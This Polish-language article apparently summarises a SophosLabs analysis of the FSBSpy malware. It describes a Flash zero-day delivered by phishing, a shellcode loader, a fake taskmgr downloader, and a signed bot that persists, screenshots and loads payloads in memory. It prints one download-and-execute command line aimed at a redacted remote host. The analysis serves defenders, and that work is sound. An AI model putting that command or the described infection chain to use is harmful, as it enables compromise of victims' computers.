SophosLabs zostało poproszone o pomoc w znalezieniu informacji o malware wykrytym podczas dziwnego ataku. Znalezisko jest co najmniej intrygujące. Wygląda na to, że badacze wskoczyli w sam środek rozwoju i testowania tajemniczego projektu, dlatego byli chętni podzielić się zdobytą wiedzą.
Co znaleziono?
Odkryto środowisko testowe malware, błąd zero-day i kilka cyfrowo podpisanych malware. Co dziwne – pliki malware nie korzystały ze sztuczek przeciwko debugowaniu, albo ukrywających złośliwe oprogramowanie przez antywirusami, których można by spodziewać się po tego typu oprogramowaniu. Wręcz przeciwnie – ekipa z SophosLabs znalazła wersję zawierającą ułatwienia debugowania. Ścieżki do tego celu zdają się sugerować, że pliki są częścią tajnych operacji.

Oczywiście w przypadku tajnych operacji byłoby mocno nieprawdopodobne popełnienie tak podstawowych błędów. Najprawdopodobniej podobnych nazw użyto jako zapory dymnej w celu wywołania zakłopotania. To co odkryto wyglądało na środowisko testowe używane przez grupę kryminalną w celu przetestowania swojego ostatniego dzieła. Dodatkowo cyfrowy podpis użyty w złośliwym oprogramowaniu występował już wcześniej w innych miejscach – co zauważyli ludzie z Kaspersky Labs w złośliwym kodzie wykorzystującym inną lukę zero-day. Czas pogrzebać w tym głębiej.
Składniki malware
Atak zaczął się z wysyłaniem do odpowiednich osób e-maili zawierających informacje, które powinny nakłonić odbiorcę do kliknięcia w link. Link prowadził do grupy złośliwych komponentów, hostowanych gdzieś w Turcji. Na tym etapie ataku komputery miały zostać przejęte za pomocą eksploita na Adobe Flash. W plikach konfiguracyjnych ekipa Sophos zauważyła, że celem była tylko przeglądarka Firefox i nawet po podjęciu wysiłku, nie udało im się uruchomić ataku bez ręcznej pomocy. Taki sposób nazywa się często „spoon-feeding” (z ang. ‚karmić łyżeczką’, w przenośni oznacza niestawianie wyzwań, prowadzenie za rękę, podawanie na tacy) . W połączeniu z innymi rzadko spotykanymi w przypadku malware rozwiązaniami można wyciągnąć wniosek, że programiści nie skończyli jeszcze pracy nad atakiem. Mimo to, niepełna wersja programu nie przeszkadza im w analizie zamierzonego sposobu działania. Wiedza, co chcą zrobić cyberprzestępcy, może być przydatna dla deweloperów oprogramowania, w celu załatania lub wykrycia potencjalnych dziur zanim zostaną one wykorzystane.
Jak miał wyglądać atak (w uproszczeniu)
Na początku kilka złośliwych plików zostaje ściągniętych na komputer:
- Program ściągający, spakowany w pliku nazwanym scode.dll, który jest wrzucany do katalogu instalacji Flash – tuż obok innych plików z bilbiotekami;
- Plik shellcode o nazwie scodeexp.txt (do odpalenia na Windowsie XP);
- Plik shellcode o nazwie scode.txt (na inne wersje Windowsa).
Produtky Sophosu wykrywają ww. pliki jako Troj/FSBSpy–A.
Proces zarażania
I tu zaczyna się zabawa:
- shellcode ładuje plik scode.dll do wykonania brudnej roboty (tutaj plik dll jest zwykłym plikiem wykonywalnym w specjalnym formacie);
- 2. dll zawiera wbudowany plik exe, który jest wrzucony do tymczasowego folderu o ciekawej nazwie – taskmgr.exe;
- dll odpala taskmgr za pomocą linii poleceń: dl http://www.[wycięte]/explorer.exe.
Fałszywy plik wykonywalny taskmgr nie jest zbyt ambitny. Nie sprawdza, czy pierwszy parametr to dl i nie sprawdza, czy drugi rzeczywiście jest adresem URL. Jego działanie jest proste – ściąga cokolwiek znajdywało się w podanym adresie, zapisuje do tymczasowego folderu i uruchamia proces. Jednak to nie koniec ;)
Keidy zostaje wywołany podrobiony plik explorer.exe kopiuje sam siebie do folderu autostartu wybierając mniej podejrzaną nazwę IAStorIcon.exe. Teraz komputer jest już aktywnie zainfekowany i zaraza jest stała (ciekawy sposób mówienia, że malware przeżyje pomiędzy logowaniami i rebootami zamiast umierać tuż po skończeniu sesji użytkownika). Program ściągający został skompilowany w trybie debugowania, więc zawiera odniesienia do plików PDB. PDB, czyli Program Database – pliki, w których zawarte są symboliczne informacje o programie. Przeważnie nie otrzymujesz programów z informacjami do debugowania. Po pierwsze – daje to trochę informacji o wnętrzu programu, a po drugie – znacząco zwiększa wielkość pliku wykonywalnego.
Nazwy plików PDB są ciekawe:
C:ClassifiedProjectsProjectDefenseFirefoxBinaryLoadedWithCertificateLoaderFirefoxSignedLoaderReleaseFinalCERT.pdb (z pliku DLL).
C:ClassifiedInvestigationsNationalSecuritysco.pdb (z pliku EXE).
Jak już wcześniej zostało wspomniane, nazwy nie tylko sugerują poufną operację bezpieczeństwa, ale wręcz przesadnie to pokazują. Jest nieprawdopodobnym, żeby takie operacje używały aż tak oczywistych nazw plików, więc prawdopodobnie jest to tylko zapora dymna.

Samo malware – explorer.exe – jest podpisane cyfrowo za pomocą przekonującego certyfikatu, a bynajmniej nie za pomocą certyfikatu, który jest zrobiony samodzielnie i już wygasł. Produkty Sophosu wykrywają podpisane pliki jako Troj/FSBSpy–B.
Cel malware
Fałszywy program explorer.exe to malware typu zombie. Lepiej znane jako bot. Komunikuje się z centralą za pomocą serwera Command-and-Control (w skr. C&C, ‚komenda i kontrola’) używając numeru IP należącego do usługodawcy z Holandii.

W tym złośliwym oprogramowaniu można wyróżnić trzy główne funkcje:
- pobiera podstawowe informacje o systemie;
- poprzez zdalne wydanie polecenia może zrobić zrzut ekranu i wysłać go na odpowiedni serwer;
- poprzez zdalne polecenie może ściągnąć i uruchomić nowe malware.
O ile system C&C bota jest bardzo prosty, to obsługa pobierania nowego malware jest stosunkowo skomplikowana. Ściągnięte złośliwe programy nigdy nie pokazują się jako pliki na dysku, co zdecydowanie utrudnia zauważenie ich obecności w systemie. Badany explorer.exe ma wbudowane ładowanie oprogramowania bezpośrednio do pamięci operacyjnej. Obsługuje to importowanie, relokację i wiele innych procesów – robi dokładnie to samo, co system operacyjny podczas uruchamiania programu z dysku. Jak tylko nowe pliki zostaną ściągnięte, zbudowany zostanie obraz wykonywalny w pamięci – odnosi się do niego w sposób bezpośredni – bez pośrednictwa, tworzenia osobnych wątków czy procesów.
Co zostaje wykradzione
FSBSpy-B zaczyna od wysłania wiadomości o systemie zawierających podstawowe informacje, jak:
- rodzaj jednostki CPU,
- ilość pamięci RAM,
- wielkość dysku,
- ilość wolnego miejsce na dysku,
- wersję systemu Windows,
- detale rejestracji,
- strefę czasową,
- SID (numer identyfikacji bezpieczeństwa – służy identyfikacji użytkowników i grup w systemie),
- listę zainstalowanych aplikacji.
Komunikacja z serwerem C&C, w tym wysyłanie i pobieranie danych, jest szyfrowana za pomocą algorytmu AES – klucz do szyfrowania jest wbudowany w fałszywy explorer.exe. Złośliwy program zawiera także funkcję do znajdywania plików o nazwach *.tmp w folderze tymczasowym i wysyłania ich na serwer. Jednak ten fragment nigdy nie jest używany – kolejna wskazówka, że malware nie jest kompletne i skończone.

Na koniec warto wspomnieć, że oprogramowanie jest pełne wiadomości ułatwiających debugowanie. Dodatkowo jeśli uruchomiony jest jako proces o ID4 (proces systemowy), malware wysyła sekwencję alertów pokazujacych postęp działania.
Profesjonalnie i amatorsko
Cały program nie jest skończony i wygląda na zbiór modułów, które jeszcze nie najlepiej ze sobą współpracują. W kodzie widać wiele nieporęczności, które są zbalansowane wykorzystaniem pluginów bezpośrednio w pamięci RAM oraz użyciem nieznanego wcześniej exploita zero-day na Flash. Ekipa z SophosLabs doszła do wniosku, że jest to mieszanka zintegrowanych po amatorsku części wypracowanych przez profesjonalistów.